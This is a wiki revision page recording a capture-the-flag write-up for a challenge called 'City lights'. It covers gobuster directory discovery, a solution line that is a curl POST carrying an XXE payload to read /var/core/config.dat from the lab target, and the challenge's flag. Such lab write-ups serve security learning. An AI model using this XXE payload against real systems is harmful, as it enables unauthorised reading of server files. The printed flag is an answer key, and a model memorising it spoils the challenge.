City lights: Difference between revisions

From Pessin randon wiki
No edit summary
No edit summary
 
(4 intermediate revisions by one other user not shown)
Line 1: Line 1:
[[File:Gobuster.JPG|thumb|Root direcotry gobuster]][[File:City-lights-gobuster-blueberrylogin.JPG|thumb|Blueberrylogin gobuster]]
[[File:Gobuster.JPG|thumb|Root direcotry gobuster]][[File:City-lights-gobuster-blueberrylogin.JPG|thumb|Blueberrylogin gobuster]]
[[File:Gobuster-admin.PNG|thumb|Gobuster admin directory]]
===Description===
===Description===
Light in the city have been turning on and off uncontrollably.
Light in the city have been turning on and off uncontrollably.
Line 22: Line 24:


===Solution===
===Solution===
<code>curl -X POST --data-raw '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE replece [<!ENTITY gimme SYSTEM "file:///var/core/config.dat"> ]><root><email>&gimme;</email><password>asd</password></root>' http://shared.target05:1234/process.php</code>


===Tools===
===Tools===

Latest revision as of 13:27, 9 September 2022

Root direcotry gobuster
Blueberrylogin gobuster
Gobuster admin directory

Description

Light in the city have been turning on and off uncontrollably.

Logs shows access to the controller from strange IP addresses.

Admin have tried to gain access but with no luck.

You as a security expert have been tasked to bypass the login mechanism to read a crucial configuration file that allows engineer to turn light into manual control.

Question

Find the location of the configuration file and bypass login mechanism to read it.

Work in progress

  • blueberrylogin/admin/index.html -> Error on line1: /var/core/config.dat | Invalid paramtere: Flag

Solution

curl -X POST --data-raw '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE replece [<!ENTITY gimme SYSTEM "file:///var/core/config.dat"> ]><root><email>&gimme;</email><password>asd</password></root>' http://shared.target05:1234/process.php

Tools

Gobuster

Flag

b339a970-2d36-421d-8360-403fa7e3fb71